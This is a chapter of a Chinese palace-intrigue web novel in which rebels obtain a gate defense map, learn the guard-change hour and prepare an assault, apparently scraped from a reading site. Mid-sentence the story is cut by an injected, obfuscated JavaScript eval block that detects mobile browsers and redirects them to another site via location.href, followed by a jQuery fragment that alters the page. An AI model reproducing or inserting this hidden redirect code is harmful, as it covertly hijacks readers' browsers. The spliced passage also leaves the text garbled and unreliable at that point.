42. 第 42 章
作品:《凤栖梧》 “殿下,”他朝温蘅拱手道,“我们不怕死,是怕连累家人。我们出工干活,是为了养活家里人,追随殿下起事,也是为了给家里人博一个出路。若起事不成,我们自个死了也就死了,但是若连累了家人一同赴死,实在冤枉了他们。”
他朝独眼男投去抱歉的一瞥,“老张头,我们不像你孤家寡人,啥都不顾忌。你想想我家闺女才六岁,小牛他娘都快七十了……你别怪我们。”
老张头张了张嘴,终究什么也没说。
“如果我说就算你们死了,也不会连累家人呢?”
穆文澜在旁接口道:“温儒将军的大名你们都听说过吧?”
众人点头如捣蒜。
“温儒将军素来爱兵如子,对于因战而亡的将士家属,不仅发给大笔抚恤金,逢年过节还亲自登门问候,至于家中婚丧嫁娶、子女求学问仕,更是一力承担。左相乃温家现任家主,我与二皇子均是温将军学生,自然秉承温将军遗风,他当初如何安置将士遗属,我们今日便如何对待你们的家人。”
她顿了顿,继续说道,“万一举事不成,你们真的战死,我以长公主的身份担保,罪在个人,朝廷不会株连你们的家人。”
“既然殿下如此允诺,”他和其他人对了下眼神,朝右边走去,“小的们便没有什么后顾之忧了。”
众人纷纷起身,最终全部站在了右边。
*
据老张头所说,愿意跟随起事的门头吏大概在一千人左右。虽然和京军比起来仍是九牛一毛,但是和温蘅他们手上的人马汇作一处,勉强可以一战。
这些门头吏日常除了巡视修葺城防以外,甚少参与京城防务,更别说上阵打仗了。好在常年劳作之下,大部分都锻炼出了一副好体格。只要指挥得当,必能发挥出不小的战斗力。
和刘小六、老张头交待一些注意事项后,温蘅三人重聚演武堂,商议攻城事宜。
温蘅道: “如今我们掌握的人数,差不多与守卫一城门的守军差不多。为了将兵力发挥到极致,应该选一处城门,集中攻击,从这里撕开口子后,直入宫城,逼穆斌停止登基的闹剧。”
另二人点头同意。
三人齐齐看向桌上的宫城地图。宫城共有内外宫门十二道,最外层为四道大门,东南西北分别为东华门、午门、西华门和神武门。大门内还有太和门、顺贞门、天一门等若干小门。每道门都配置护军营、前锋营、骁骑营和神机营兵士,另有步兵由歩军统领衙门统率。
穆斐道:“每道门因地势不同,兵力部署各不相同。若想制定详尽的攻打计划,必先得知晓每道门的兵力部署情况。”
穆文澜道:“其实也不用知道每道门的。只要能先攻破最外层的大门,里面的小门不攻自破。宫里的人比我们想的要惜命得多。”
他们的目光在地图上的四座城门间来回逡巡,但久久无法做出决定。
温蘅叹道:“只怪我入相之后,无法插手兵部,若是当初取得宫城布防图在手,今日也不至于如此狼狈。”
穆文澜安慰道:“阿蘅,你无需自责,当初恐怕穆斌早有异心,就算陛下不忌惮温家军,准你过问兵部事务,只怕穆斌也会从中阻挠,布防图更不可能轻易许人。”
穆斐被抢了台词,只能一味点头。
三人不约而同重重叹了口气,房间内陷入凝滞的沉默。
不知过了多久,角落里幽幽响起一道声音。
“也许,小的这里,有少主需要的布防图。”
温蘅循声望去,对上松杉在暗处发亮的双眼。
穆文澜急道:“你有布防图?在何处?你如何得来的?”
松杉上前,得到温蘅首肯后,取来纸笔,在纸上一笔一划画出一座城门,并标出城门各处部署兵种和人数详情。看起形制,乃是神武门无疑。
画完后,她徐徐说道:“这幅图,我曾在父亲书房中见过。见的次数多了,便不知不觉记在了心里,不想今日派上了用场。布防图乃军中机密,还望殿下恕小的死罪。”
说完,她跪了下去。
温蘅将她扶起,笑道:“明明是大功一件,何罪之有?若是攻城成功,你是头等功臣,论功行赏,连家人都能跟着沾光的。”
松杉闻言,从来沉寂如水的面上有了波澜。
穆文澜瞪着松杉,沉声问道:“你是何人,为何布防图会出现在你父亲的书房内。据我所知,当今神武门守将并无家眷。”她突然反应过来,转向温蘅,“难道她是……?!”
温蘅摇摇头,竖起手指,“嘘”了一声。
穆文澜心领神会,不再多言。
穆斐沉吟片刻道:“有了这图,神武门的情况我们了如指掌。只是定在何时攻打较为何时?”
穆文澜道:“一般换防之时是防守最为薄弱混乱的时候,这时进攻可出其不意攻其不备,只是神武门的换防时间,还需费一番功夫打探。”
温蘅正准备将此项任务交代给竹芝,却听到门外传来一道喑哑粗粝,几乎不似人声的声音。
那道声音说:“寅时。丑寅相交之时,便是神武门换防之时。”
随着声音渐行渐进,门口露出一张熟悉的面孔。
是老哑。
竹芝惊道:“老哑!你怎么会说话?!你不是哑巴吗?!”
从来没有人见过他说话,不管是第一次见他的陌生人,还是与他相处十余年的竹芝等人。大家都以为多年前的一场变故夺走了他的声音。那场变故留下的伤疤,如今还环绕在他脖子上,好似一道狰狞的红色颈圈。
大概是太久没说话了,老哑的声音粗得好像抛光铁器用的磨砂纸,他每发出一个音节都似乎用尽全身力气,将空气从胸腔深处排出,然后顺便将声音带出喉咙。
他说:“谁说我是哑巴。我只是不爱说话。”
竹芝瞪着眼睛,“那你还叫老哑?!”
老哑:“叫老哑的就一定是哑巴吗?叫富贵的就一定有钱吗?那叫子聪的笨蛋也不少啊。”
竹芝愕然:这人不鸣则已,一鸣惊人啊。怎么能有人嘴毒成这样呢。
对上穆斐与穆文澜不解的眼神,温蘅解释道:“老哑原是神武门的守卫,当年宫变时是我爹从死人堆里将他救出。为了避免旁人猜疑,只当他原身已经死了,给了他一个新的身份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754679|182976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,伤好了以后就让他为我驾车。因为声带受损严重,所以多年来他都不曾开口说话,我也以为他再也不能发声了。”
老哑嘶哑着嗓子继续说道:“我这条命,本来早就该随着梁指挥使一同埋在当年的碎砖瓦砾里了。但是温将军说留着我还有用,不准我轻易自弃,所以我挣扎着又从鬼门关回来了。不想今日真被温将军料中了,那我这么多年也算没白活了。”
穆文澜瞪大双眼看向温蘅,“所以你爹当年说他能未卜先知是真的?”
温蘅扶额,“他那是骗小孩的,别信。今日之事,不过巧合而已。”
虽然她这么说,穆文澜和穆斐还是在心中暗叹温儒的料事如神,对他的崇敬又更上了一层楼。
大家都没注意到,松杉灼灼的眼神一直盯着老哑。
这是父亲的旧部。那也许,他可以证明父亲的清白,让自己和家人团聚?
似乎感受到她的注视,老哑朝她看来,对上视线,冲她点了点头。
眼神中的了然透彻,令她心中一凛。
*
有了布防图,又明确了适合进攻的时间,众人信心大振,很快便制定了详尽的进攻计划。
计划既定,温蘅派人传信给刘小六和老张头等人,约定了集合时间和地点。
在紧张之中,时间过得又快又慢。慢的时候,能听到时间在呼吸里的重量。快的时候,天光明了又暗,仿佛只是一眨眼的功夫,连说几句话的功夫都没有。
出发前,穆斐特地给温蘅送了一面护心镜过来。
竹芝伸手欲接,却被穆斐避开。
“我来吧。”
他作势要亲自为温蘅戴上护心镜。
温蘅冲竹芝点头,后者心领神会,将松杉一同带离了房间。
护心镜穿戴简单,像件背心一般穿上调整好系带长短即可。
初始二人都默契地沉默着。直到穆斐站在温蘅身后,替她调整系带,看不见彼此的脸,空气仿佛一下子松快了许多。
温蘅道:“上次离京前,你说等我回来有话和我说。怎么回来这么久却不见你提起?如今再不说,不怕我没机会听到吗?”
穆斐手上动作一顿,心中五味杂陈。
“原本想说的。只是敖烈的事,我知道你还放不下。也许时机还未合适。”
“敖烈的事,我这辈子都不会放下。我这一生,都将带着对他的愧疚活下去。那你是不是打算永远都不对我说那些话了?”
温蘅转过身,深深看进穆斐的眼睛里。
连被贬民间时都未置一词的穆斐,难得的慌乱起来。
“我……你……”
温蘅盯着他的眼睛,继续说道:“敖烈有他的选择,我也有我的。说不说是你的课题,怎么回答则是我的。”
穆斐将牙咬了又咬,拿出更甚上阵杀敌的勇气,好半晌才说道:“我就想问你,如果此事了了,我们都能活着回来,你……你的余生,能否有我长伴在侧?”
温蘅眼瞅着他一张脸由纯黑转成通红,最后几乎要烧起来了,忽的嫣然一笑,轻声道:“那就等我们都活着回来,我再告诉你答案吧。”

